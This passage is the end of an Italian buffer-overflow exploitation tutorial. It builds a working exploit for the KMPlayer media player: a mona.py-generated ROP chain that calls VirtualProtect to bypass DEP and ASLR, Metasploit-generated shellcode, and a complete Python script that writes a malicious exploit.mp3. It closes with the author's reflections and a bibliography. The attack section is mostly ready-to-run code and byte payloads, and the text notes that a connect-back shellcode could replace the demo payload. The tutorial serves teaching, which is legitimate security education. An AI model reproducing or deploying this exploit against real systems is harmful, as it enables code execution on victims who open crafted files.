Quando abbiamo raccolto informazioni sufficienti sul tipo di problema avviamo mona.py che ci
darà una mano per la ricerca dei gadget, ricordiamoci che non potremo eseguire nulla sullo stack
fino a che non chiameremo VirtulProtect().
Basandoci unicamente sul modulo ‘PProcDLL.dll’ mona produce i relativi file, in
rop_virtualprotect.txt è presente la struttura rop:
mona.py eseguito con: ‘!mona rop –m PProcDLL.dll -n’
VirtualProtect register structure (PUSHAD technique)
----------------------------------------------------
EAX = NOP (0x90909090)
ECX = lpOldProtect (Writable ptr)
EDX = NewProtect (0x40)
EBX = Size
ESP = lPAddress (automatic)
EBP = ReturnTo (ptr to jmp esp - run '!mona jmp -r esp -n -o')
ESI = ptr to VirtualProtect()
EDI = ROP NOP (RETN)
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 187 di 193
VirtualProtect() 'pushad' rop chain
------------------------------------
rop_gadgets =
[
0x1004a594, # POP EAX # RETN (PProcDLL.dll)
0x1014f264, # <- *&VirtualProtect()
0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN (PProcDLL.dll)
0x1013b0c3, # XCHG EAX,ESI # RETN (PProcDLL.dll)
0x10131803, # POP EBP # RETN (PProcDLL.dll)
0x10101bb8, # ptr to 'push esp # ret ' (from PProcDLL.dll)
0x1004a594, # POP EAX # RETN (PProcDLL.dll)
0xfffffdff, # value to negate, target value : 0x00000201, target reg : ebx
0x100d2b6b, # NEG EAX # RETN (PProcDLL.dll)
0x1002d319, # XCHG EAX,EBX # RETN 0E (PProcDLL.dll)
0x1012d9ab, # POP ECX # RETN (PProcDLL.dll)
0x1018e001, # W pointer (lpOldProtect) (-> ecx)
0x1001a384, # POP EDI # RETN (PProcDLL.dll)
0x1001a385, # ROP NOP (-> edi)
0x1004a594, # POP EAX # RETN (PProcDLL.dll)
0xffffffc0, # value to negate, target value : 0x00000040, target reg : edx
0x100d2b6b, # NEG EAX # RETN (PProcDLL.dll)
0x100eba5a, # XCHG EAX,EDX # RETN (PProcDLL.dll)
0x1004a594, # POP EAX # RETN (PProcDLL.dll)
0x90909090, # NOPS (-> eax)
0x10014443, # PUSHAD # RETN (PProcDLL.dll)
# rop chain generated by mona.py
# note : this chain may not work out of the box
# you may have to change order or fix some gadgets,
# but it should give you a head start
].pack("V*")
La serie di gadget utilizzata nella rop chain deve però essere analizzata e adattata per
lavorare sul nostro sistema, talvolta è anche possibile che questa funzioni subito senza
modifiche. Nel mio caso ho dovuto aggiustare con alcune WORD l’offset tra ESP ed EIP.
Ricordiamoci che ESP ed EIP devono essere tenuti sotto controllo durante l’esecuzione di codice
ROP. ESP punta sempre alla prossima istruzione da eseguire al momento che una ‘ret’ viene
eseguita, oppure punta alla locazione che verrà memorizzata in un registro in caso venga
eseguita una ‘POP REG’. L’istruzione pop incrementa il valore di ESP facendo scorrere questo
lungo la ROP chain, al contrario l’istruzione push incrementa ESP ed inserisce nuove WORD.
Detto questo se analizzate con un debugger lo stato dei registri al momento dell’esecuzione
della ROP (mettete un breakpoint a 0x1004a594 utilizzando l’exploit con la rop chain prodotta da
mona.py) ci si accorge che le modifiche vanno apportate in corrispondenza delle istruzioni
seguenti:
- 0x1004a594, # POP EAX # RETN (PProcDLL.dll)
Qui va inserita un WORD aggiuntiva dato che al momento dell’esecuzione della ROP, ESP non punta
allo stessa locazione di EIP, di conseguenza per fare in modo che POP EAX raccolga il puntatore
al puntatore di VirtualProtect, deve essere posizionata una WORD subito prima tale locazione.
- 0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN (PProcDLL.dll)
In questo caso POP ESI è un’istruzione che non ci è utile, posizioniamo una WORD per far
proseguire ESP in modo corretto verso la prossima locazione.
- 0x1002d319, # XCHG EAX,EBX # RETN 0E (PProcDLL.dll)
0x1012d9ab, # POP ECX # RETN (PProcDLL.dll)
L’istruzione RET 0E somma ad ESP il valore 0x0e. Questo ci può causare dei problemi dal momento
che ci sposta ESP di ben 14 byte in avanti. EIP invece punterà alla WORD successiva a
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 188 di 193
0x1012d9ab. Ovviamo a questo problema inserendo anche qui un ‘padding’ di 14 byte.
Il resto della ROP chain si comporta a dovere. Possiamo lasciarla invariata.
Ora scegliamo un payload di esempio dal framework metasploit, i passaggi sono davvero molto
semplici:
msf > show payloads
Payloads
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline
aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline
aix/ppc/shell_interact normal AIX execve shell for inetd
aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline
...
windows/exec normal Windows Execute Command
windows/loadlibrary normal Windows LoadLibrary Path
windows/messagebox normal Windows MessageBox
...
Per questo esempio una semplice messagebox andrà benissimo, in alternativa si può utilizzare una
shellcode connectback come quella vista nei precedenti capitoli, basta che si adatti leggermente
il codice ad essere eseguito su windows 7.
Selezioniamo il payload, vediamone una sintetica descrizione e generiamo la shellcode,
msf > use windows/messagebox
msf payload(messagebox) > info
Name: Windows MessageBox
Module: payload/windows/messagebox
Version: 0
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 270
Rank: Normal
Provided by:
corelanc0d3r
jduck <[email protected]>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
ICON NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or
QUESTION
TEXT Hello, from MSF! yes Messagebox Text (max 255 chars)
TITLE MessageBox yes Messagebox Title (max 255 chars)
Description:
Spawns a dialog via MessageBox using a customizable title, text &
Icon
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 189 di 193
Cambiamo alcuni parametri:
msf payload(messagebox) > set TEXT "Hello Matteo :)"
TEXT => Hello Matteo :)
msf payload(messagebox) > set TITLE "The exploit works!"
TITLE => The exploit works!
msf payload(messagebox) > generate
# windows/messagebox - 275 bytes
# http://www.metasploit.com
# EXITFUNC=process, TITLE=The exploit works!, TEXT=Hello
# Matteo :), ICON=NO
buf =
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64" +
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e" +
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60" +
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b" +
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01" +
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d" +
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01" +
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01" +
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89" +
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" +
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" +
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" +
"\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" +
"\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" +
"\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b" +
"\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65" +
"\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58" +
"\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c" +
"\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51" +
"\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
Inseriamo ROP, shellcode e byte junk, in uno script python, perl o ruby.
Io ho utilizzato python. E’ bene anche piazzare una serie di byte NOP tra la rop chain e il
payload per evitare di ritornare su locazioni non valide,
--------- TheKMPlayerExploit.py --------------------
#!/usr/bin/python
# File name
evilfile = "exploit.mp3"
# Align byte
rop_align = "\x41"
# Offset from head of buffer to saved EIP
junk = "A"*4112
# NOP sled (inc EDI)
nop = "\x47"*100
# ROP chain [from non-ASLR module "PProcDLL.dll"]
ropchain = "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN
ropchain += rop_align * 4 # junk
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 190 di 193
ropchain += "\x64\xf2\x14\x10" # 0x1014f264, # <-ptr to ptr to VirtualProtect()
ropchain += "\xf6\xbc\x11\x10" # 0x1011bcf6, # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN
ropchain += rop_align * 4 # -------------------------------------------------^^^
ropchain += "\xc3\xb0\x13\x10" # 0x1013b0c3, # XCHG EAX,ESI # RETN
ropchain += "\x03\x18\x13\x10" # 0x10131803, # POP EBP # RETN
ropchain += "\xb8\x1b\x10\x10" # 0x10101bb8, # ptr to 'push esp # ret '
ropchain += "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN
ropchain += "\xff\xff\xff\xff" # 0xfffffdff, # value to negate, target value : 0x00000201,
target reg : ebx
ropchain += "\x6b\x2b\x0d\x10" # 0x100d2b6b, # NEG EAX # RETN
ropchain += "\x19\xd3\x02\x10" # 0x1002d319, # XCHG EAX,EBX # RETN 0E
ropchain += "\xab\xd9\x12\x10" # 0x1012d9ab, # POP ECX # RETN
ropchain += rop_align * 14 # ---------- # (for RETN 0E)
ropchain += "\x01\xe0\x18\x10" # 0x1018e001, # W pointer (lpOldProtect) (-> ecx)
ropchain += "\x84\xa3\x01\x10" # 0x1001a384, # POP EDI # RETN
ropchain += "\x85\xa3\x01\x10" # 0x1001a385, # ROP NOP (-> edi)
ropchain += "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN
ropchain += "\xc0\xff\xff\xff" # 0xffffffc0, # value to negate, target value : 0x00000040,
target reg : edx
ropchain += "\x6b\x2b\x0d\x10" # 0x100d2b6b, # NEG EAX # RETN
ropchain += "\x5a\xba\x0e\x10" # 0x100eba5a, # XCHG EAX,EDX # RETN
ropchain += "\x94\xa5\x04\x10" # 0x1004a594, # POP EAX # RETN
ropchain += "\x90\x90\x90\x90" # 0x90909090, # NOPS (-> eax)
ropchain += "\x43\x44\x01\x10" # 0x10014443, # PUSHAD # RETN
payload = (
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64"
"\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e"
"\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60"
"\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b"
"\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01"
"\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d"
"\x01\xc7\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x01"
"\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01"
"\xe8\x89\x44\x24\x1c\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89"
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45"
"\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff"
"\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64"
"\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55"
"\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8"
"\x61\xff\xff\xff\x68\x73\x21\x58\x20\x68\x77\x6f\x72\x6b"
"\x68\x6f\x69\x74\x20\x68\x65\x78\x70\x6c\x68\x54\x68\x65"
"\x20\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x20\x3a\x29\x58"
"\x68\x74\x74\x65\x6f\x68\x6f\x20\x4d\x61\x68\x48\x65\x6c"
"\x6c\x31\xc9\x88\x4c\x24\x0f\x89\xe1\x31\xd2\x52\x53\x51"
"\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
)
# Assemble
buffer = junk + ropchain + nop + payload
# Print to file
myfile = open(evilfile,"w")
myfile.write(buffer)
myfile.close()
--------- TheKMPlayerExploit.py END ----------------
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 191 di 193
Aprendo il file exploit.mp3 dopo aver ascoltato una canzone di vostro gradimento si ottiene:
Questo tipo di tecnica permette di bypassare allo stesso tempo sia l’ASLR che DEP. Più tempo
passa più le protezioni diventano efficaci e gli exploit complessi.
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 192 di 193
0x1a] Conclusioni ?
Up
Non esistono conclusioni di lavori di questo tipo.
La sicurezza informatica è diventato un settore molto importante, costantemente in evoluzione.
L’hacking si stà spostando da cose di questo tipo, sempre più difficili da realizzare,
all’ingegneria sociale.
Per quanto mi riguarda, non mi interessa particolarmente questo settore. Non richiede abilità
particolari ma solo costanza e qualche dote di organizzazione mentale, tipica dei programmatori,
nulla di più.
Ricordiamoci che saper costruire ed utilizzare exploit non è difficile, è solo complesso.
In futuro prevedo che gli attacchi tramite exploit verranno sempre più effettuati verso le
applicazioni WEB, tramite magari plugin o altri componenti agguintivi.
Un fatto importante è la diffusione dei dispositivi mobile. Questi sono per la maggior parte
basati su architettura ARM. Tramite l’assembly per ARM è possibile scrivere shellcode dedicate a
questi sistemi e fare operazioni simili a quelle che abbiamo visto.
Questi saranno sicuramente alcuni dei prossimi obiettivi più bersagliati.
0x1b] Riferimenti bibliografici
Up
Risorse per le basi:
- Architettura OS (MINX3) [http://www.minix3.org]
- Linguaggio assembly [http://www.giobe2000.it]
- The C Library Reference Guide [http://www.acm.uiuc.edu/webmonkeys/book/c_guide/]
- Assembly on Linux
[http://www.linuxdidattica.org/docs/altre_scuole/planck/assembly-linux/assembly-linux.html]
- Linux kernel sources reference [http://lxr.oss.org.cn/]
- Windows API reference [http://msdn.microsoft.com/it-it/default.aspx]
Risorse web:
- The MAGAZINE [http://www.phrack.org/]
- Corelan Team [http://www.corelan.be]
- Exploit database [http://www.exploit-db.com/]
- Shell-Storm database [http://www.shell-storm.org]
- National vulnerability database [http://nvd.nist.gov/]
- Nmap (security community) [http://nmap.org/]
- Packet Storm [http://packetstormsecurity.org/]
- Security focus [http://www.securityfocus.com/]
- Undocumented API [http://undocumented.ntinternals.net/]
- Security tube [http://www.securitytube.net/]
- Skyper web site [http://skypher.com]
- mona.py project [http://redmine.corelan.be/projects/mona]
Libri:
- Hacker’s programming book [Flavio Bernardotti, 2002 - 1607 p.]
- The shellcoder’s handbook [Chris Anley, John Heasman, Felix “FX” Linder, Gerardo
Richarte, 2007 – 745 p.]
System exploitation using buffer overflow
Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 193 di 193
- L’arte dell’hacking [Jon Erickson, 2008 – 438 p.]
- Cracking e hacking [Flavio Bernardotti, 1999 – 991 p.]
- Introduzione agli IDS [Simone Piccardi, 2005 – 77 p.]
White papers:
- The Exutable and Linkable Format [Matteo Tosato]
- Smashing The Stack For Fun And Profit [Aleph One]
- Understanding Windows Shellcode [Skape]
- StackGuard: simple stack smash protection for GCC [Perry Wagle, Crispin Cowan]
- Writing small shellcode [Next Generation Security Software Ltd.]